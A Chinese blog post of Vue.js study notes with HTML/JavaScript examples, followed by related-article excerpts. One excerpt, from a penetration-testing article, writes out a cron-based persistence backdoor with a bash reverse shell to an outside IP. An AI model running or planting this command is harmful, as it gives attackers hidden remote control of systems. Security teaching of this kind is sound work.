Vue随记

news2024/10/6 10:34:39

1、Vue模板语法

Vue模板语法有两大类:

1.1、插值语法

功能:用于解析标签体内容。
写法:{{xxxx}},xxxx是js表达式,且可以直接读取到data中的所有属性。

1.2、指令语法

功能:用于解析标签(包括:标签属性、标签体内容、绑定事件。。。。)
举例:v-bind:href="xxx"或简写为:href=“xxx”,xxx同样要写js表达式,且可以直接读取到data中的所有属性。
备注:Vue中有很多的指令,且形式都是:v-???.

1.3、实例

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>热爱编程的白帽菌</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h1>插值语法</h1>
        <h3> Hello,{{name}}</h3>
        <hr>
        <a v-bind:href="school.url">你好</a>
     </div>
    <script type="text/javascript">
       Vue.config.productionTip=false
       //创建vue实例
       const x=new Vue({
        el:'#root',
        data:{
            name:'白帽菌',
            school:{
                name:'百度一下',
                url:'http://www.baidu.com'
            }
        }
       })
    </script>
</body>
</html>

2、数据绑定

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>数据绑定</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>

    <!-- 
        Vue中有两种数据绑定的方式:
          1.单向数据绑定(v-bind):数据只能从data流向页面。
          2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data.
             备注:
                1.双向绑定一般都应用在表单类元素上(如: input、select等)
                2.v-model:value 可以简写为v-model,因为v-model默认收集的就是value指。
     -->
    <!-- 准备好一个容器 -->
    <div id="root1">
        <!-- 普通写法 -->
        <!-- 单向数据绑定:<input type="text" v-bind:value="name"></br>
        双向数据绑定:<input type="text" v-model:value="name"></br> -->
        <!--  简写-->
        单向数据绑定:<input type="text" :value="name"></br>
        双向数据绑定:<input type="text" v-model="name"></br>
       <!--  如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
        <h2 v-model:x="name">你好啊</h2>
    </div>
</body>
<script type="text/javascript">
       //Vue.config.productionTip=false // 阻止vue在启动时生成提示

       new Vue({
        el:'#root1',
        data:{
            name:'尚硅谷'
        }
       })
</script>
</html>

2.1、el与data的两种写法

在这里插入图片描述
在这里插入图片描述

3、MVVM模型

在这里插入图片描述
在这里插入图片描述

4、数据代理

在这里插入图片描述

4.1、数据代理定义

数据代理:通过一个对象代理另一个对象中属性的操作(读/写)
在这里插入图片描述

4.2、vue中的数据代理

在这里插入图片描述

5、事件处理

在这里插入图片描述

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>事件的基本使用</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>

    <div id="root">
        <h1>欢迎来到{{name}}</h1>
        <button v-on:click="showInfo">点击触发信息</button>
        <button @click="showInfo2($event,66)">点击触发信息2</button>
    </div>
   
</body>
<script type="text/javascript">
       new Vue({
          el:'#root',
          data:{
            name: '上海'
          },
          methods:{
             showInfo(){
                alert('你好,许哲!')
             },
             showInfo2(event,number){
               console.log(event);
               console.log(number);
             }
          }
       });
</script>
</html>

5.1、事件修饰符

在这里插入图片描述

5.2、键盘事件

在这里插入图片描述

5.3、总结

在这里插入图片描述

6、计算属性与监视

6.1、计算属性computed

优势:与methods事项相比,内部有缓存机制(复用),效率更高,调试方便。
备注:计算属性最终会出现在vm上,直接读取即可。
如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>计算属性</title>
    <!-- 引入vue  -->
    <script  type="text/javascript" src="../js/vue.js"></script></script>
</head>
<body>
    <!--准备好一个容器 -->
    <div id="root">
         姓:<input type="text" v-model="firstName"></br></br>
         名:<input type="text" v-model="lastName"></br></br>
         全名:<span>{{fullName}}</span>
    </div>
</body>
<script type="text/javascript">
    const vm=new Vue({
        el:'#root',
        data:{
           firstName:"张",
           lastName:"三"
        },
        computed:{
            fullName:{
                get(){
                    // get有什么作用?当有读取fullName时,get方法就会被调用,且返回的值就是作为fullName的值
                    // get什么时候调用?1.初次调用fullName时;2.当fullName依赖的数据发生变化时
                    // console.log("get()方法被调用!");
                    return this.firstName+'-'+this.lastName
                },
                // set什么时候调用,当fullName被修改时
                set(value){
                  const arr=value.split('-');
                  this.firstName=arr[0]
                  this.lastName=arr[1]
                }
            }
        }
    });
</script>
</html>

6.2、监视属性

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>监视属性</title>
    <!-- 引入vue  -->
    <script  type="text/javascript" src="../js/vue.js"></script></script>
</head>
<body>
    <!--准备好一个容器 -->
    <div id="root">
        <h2>今天天气很一般{{info}}</h2>
        <button @click="changeWeather">切换天气</button>
    </div>
</body>
<script type="text/javascript">
    const vm=new Vue({
        el:'#root',
        data:{
           isHot:true
        },
        computed:{
          info(){
            return this.isHot?'炎热':'凉爽'
          }
        },
        methods: {
            changeWeather(){
                this.isHot=!this.isHot
            }
        },
        watch:{
            info:{
                immediate:true, //初始化时让handle调用一下
               handler(newValue,oldValue){
                    console.log("info被修改",newValue,oldValue)
               }
            }
        }
    });
</script>
</html>

深度监视:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>深度监视</title>
    <!-- 引入vue  -->
    <script  type="text/javascript" src="../js/vue.js"></script></script>
</head>
<body>
    <!--准备好一个容器 -->
    <div id="root">
        <h2>今天天气很一般{{info}}</h2>
        <button @click="changeWeather">切换天气</button>
        <h2>a:{{numbers.a}}</h2>
        <button @click='numbers.a++'>点我a++</button>
        <h2>b:{{numbers.b}}</h2>
        <button @click='numbers.b++'>点我b++</button>
    </div>
</body>
<script type="text/javascript">
    const vm=new Vue({
        el:'#root',
        data:{
           isHot:true,
           numbers:{
            a:1,
            b:1
           }
        },
        computed:{
          info(){
            return this.isHot?'炎热':'凉爽'
          }
        },
        methods: {
            changeWeather(){
                this.isHot=!this.isHot
            }
        },
        watch:{
            // info:{
            //     immediate:true, //初始化时让handle调用一下
            //    handler(newValue,oldValue){
            //         console.log("info被修改",newValue,oldValue)
            //    }
            // },
            // 简写
            info(newValue,oldValue){
                console.log("info被修改",newValue,oldValue)
            },
            // 监视多级结构中某个属性的变化
            'numbers.a':{
                handler(){
                    console.log('a被修改了')
                }
            },
             // 监视多级结构中所有属性的变化
             'numbers':{
                deep:true,
                handler(){
                    console.log('numbers被修改了')
                }
            }
        }
    });
</script>
</html>`

7、绑定样式

7.1、绑定CSS样式

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>绑定样式</title>
    <style>
        .basic{
            width:400px; 
            height:100px;
            border:1px,solid,black
        }
        .happy{
            width:400px; 
            height:100px;
            border:1px,solid,rgb(243, 27, 27)
        }
        .normal{
            width:400px; 
            height:100px;
            border:1px,solid,rgb(48, 187, 208)
        }
    </style>
    <script  type="text/javascript" src="../js/vue.js"></script></script>
</head>
<body>
    <!--准备好一个容器 -->
    <div id="root">
        <!-- 绑定class样式--字符串写法:适用于样式的类名不确定,需要动态指定 -->
        <div class="basic" :class="mood" @click="cheangeMood">{{name}}</div><br></br>
        <!-- 绑定class样式--数组写法:适用于样式个数不确定、名称也不确定 -->
        <div class="basic" :class="classArr">{{name}}</div><br></br>
        <!-- 绑定class样式--对象写法:适用于样式个数确定、名称也确定,但要动态决定要不要-->
        <div class="basic" :class="classObj">{{name}}</div>
</body>
<script type="text/javascript">
    Vue.config.productionTip=false
    new Vue({
        el:'#root',
        data:{
           name:"小羊的牛",
           mood:"happy",
           classArr:['happy','normal'],
           classObj:{
            happy:false,
            normal:false
           }
        },
        methods:{
            cheangeMood(){
               this.mood="normal"
            }
        }
    });
</script>
</html>

7.2、绑定Style样式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/420570.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《鸟哥的Linux私房菜-基础篇》学习笔记

主要用来记录学习&#xff0c;如果能帮助到你那最好了。 数据流重导向 概念 cat /etc/crontab /etc/vbirdsay 标准输出&#xff1a;将cat的文件输出到屏幕上 标准错误输出&#xff1a;无法找到文件报错 *系统会将标准输出和标注错误输出都输出到屏幕上&#xff0c;看着比较乱…

Vue双向数据绑定原理

一. Vue双向数据绑定原理 Vue.js的双向绑定是通过响应式原理实现的。响应式原理就是当数据发生改变时&#xff0c;自动更新相关的视图和数据。下面是Vue.js双向绑定的详细解释和介绍&#xff1a; Vue.js通过 Object.defineProperty() 将数据对象的属性值绑定到对应的DOM元素上…

【数据结构启航!】数据结构开胃菜之顺序表

【数据结构启航&#xff01;】数据结构开胃菜之顺序表一、线性表简介二、目标三、实现1、初始化工作2、顺序表的尾插2.1、图解原理2.2、代码实现3、顺序表的尾删3.1、图解原理3.2、代码实现4、打印顺序表5、顺序表的增容6、顺序表的头插6.1、图解原理6.2、代码实现7、顺序表的头…

Javascript cookie和session

在网站中&#xff0c;http请求是无状态的&#xff0c;当我们与服务端做一次数据请求&#xff0c;请求完毕后&#xff0c;第二次数据请求服务器端仍然不知道是哪个用户&#xff0c;cookie的出现就是为了解决这个问题。 一 Session与Cookie的区别 1 相同点 它们都是用于存…

实战打靶集锦-016-lampiao

提示&#xff1a;本文记录了博主打靶过程中一次曲折的提权经历 文章1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 80端口探查4.2 1898端口探查4.3 EXP搜索4.3.1 exploit/unix/webapp/drupal_coder_exec4.3.2 exploit/unix/webapp/drupal_drupalgeddon25. 提权5.1 系统信息…

RayVentory crack,RayVentory扫描引擎

RayVentory crack,RayVentory扫描引擎 RayVentory扫描引擎12.5.3581.73[更新2] libcurl.dll库现在使用Raynet证书进行了签名&#xff0c;为用户增加了额外的安全层。 对设备更新过程进行了显著改进&#xff0c;特别是在同时扫描具有大型数据库的多个设备时。这确保了数据的一致…

雪花算法ID冲突问题与解决方案

分布式部署应用项目采用雪花算法生成ID有冲突问题&#xff1a; 方案一&#xff1a;给应用分配随机 datacenter-id和 worker-id 如下图&#xff1a; global-config:db-config:logic-delete-field: del_flaglogic-delete-value: 1 # 逻辑已删除值(默认为 1)logic-not-delete-…

用友开发者中心应用构建实践指引(二):如何实现入职申请单功能?

用友开发者中心应用构建实践指引&#xff08;二&#xff09;&#xff1a;如何实现入职申请单功能&#xff1f; 在上一篇文章《用友开发者中心应用构建实践指引&#xff01;》中&#xff0c;我们完成了应聘人员信息登记的配置&#xff0c;实现了面试者提交应聘信息&#xff0c;…

内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

【C++ 一】C++ 入门

C 入门 文章目录C 入门前言1 C 初识1.1 第一个C程序1.1.1 创建项目1.1.2 创建文件1.1.3 编写代码1.1.4 运行程序1.2 注释1.3 变量1.4 常量1.5 关键字1.6 标识符命名规则2 数据类型2.1 整型2.2 sizeof 关键字2.3 实型&#xff08;浮点型&#xff09;2.4 字符型2.5 转义字符2.6 字…

appium自动化测试完整项目

前言 Appium是一个开源的自动化测试框架&#xff0c;支持跨平台&#xff0c;支持多种编程语言&#xff0c;可用于原生&#xff0c;混合和移动web应用程序&#xff0c;使用webdriver驱动ios&#xff0c;android应用程序、那么为了学习app自动化测试首要任务肯定就是搭建测试开发…

数据治理的核心框架和六大思维

请点击↑关注、收藏&#xff0c;本博客免费为你获取精彩知识分享&#xff01;有惊喜哟&#xff01;&#xff01; 数据成为新的生产力&#xff0c;必将引发数据生产关系的变革&#xff0c;而数据治理体系就代表着新的生产关系。近日发布的《广东省数据要素市场化配置改革理论研…

尚融宝18-JWT令牌和测试

目录 一、访问令牌的类型 &#xff08;一&#xff09;reference token(透明令牌) &#xff08;二&#xff09;value token(自包含令牌) 二、JWT令牌 &#xff08;一&#xff09;什么是JWT令牌 &#xff08;二&#xff09;JWT令牌的组成 &#xff08;三&#xff09;JWT的…

java 25

练习一: package com.shhfg.ds;public class HelloWorld01 {public static void main(String[] args) {/* 需求&#xff1a;给你一个整数 a如果 a 是一个回文整数&#xff0c;打印true&#xff0c;否则&#xff0c;还回false。解释&#xff1a;回文数是指正序&#xff08;从左到…

kaggle竞赛-Stable Diffusion数据分析与baseline

你的目的是来预测我们生成图像的提示词 1.比赛目标 这个竞赛的目标不是从文本提示生成图像&#xff0c;而是创建一个模型&#xff0c;可以在给定生成图像的情况下预测文本提示&#xff08;你有一堆提示词&#xff0c;你预测是否该提示词参与了图像的生成&#xff09;?您将在…

百度智能云对象存储BOS批量下载文件方法

百度智能云对象存储BOS支持批量打包下载吗&#xff1f;目前对象存储BOS浏览器端不支持批量下载&#xff0c;可以使用对象存储BOS桌面或BOSCMD批量下载&#xff0c;也可以使用API/SDK调用接口循环下载。新手站长网来详细说下百度云对象存储BOS批量下载的方法&#xff1a; 目录 …

计算机网络 实验二

⭐计网实验专栏&#xff0c;欢迎订阅与关注&#xff01; ★观前提示&#xff1a;本篇内容为计算机网络实验。内容可能会不符合每个人实验的要求&#xff0c;因此以下内容建议仅做思路参考。 一、实验目的 &#xff08;1&#xff09;掌握IP地址的基本结构(网络部分与主机部分的…

计算广告(十一)

MF矩阵分解&#xff08;Matrix Factorization&#xff09;是一种常见的数学工具&#xff0c;它将一个大型矩阵分解为两个或多个较小的矩阵&#xff0c;这些较小的矩阵相乘会得到一个近似于原始矩阵的矩阵。矩阵分解在许多领域中都有广泛的应用&#xff0c;如机器学习、数据挖掘…

Win10+Anaconda+Pytorch_CPU+VsCode安装配置

一、安装Anaconda 1&#xff0c;官网下载Anaconda安装包&#xff0c;找到对应版本的python&#xff0c;我下的是Anaconda3-2020.07-Windows-x86_64.exe&#xff0c;python版本为3.8.3&#xff1b; 安装时注意这个界面时 第一个不要勾选&#xff0c;安装成功后&#xff0c;手动…

如何在企业微信中使用低代码工具?

企业微信是一款非常强大的办公应用软件&#xff0c;可以方便地进行企业内部的沟通、协作、管理等工作。虽然企业微信本身并不提供低代码工具&#xff0c;但是可以通过集成第三方的低代码工具来实现在企业微信中的使用。 例如&#xff0c;可以使用低代码平台简道云&#xff0c;…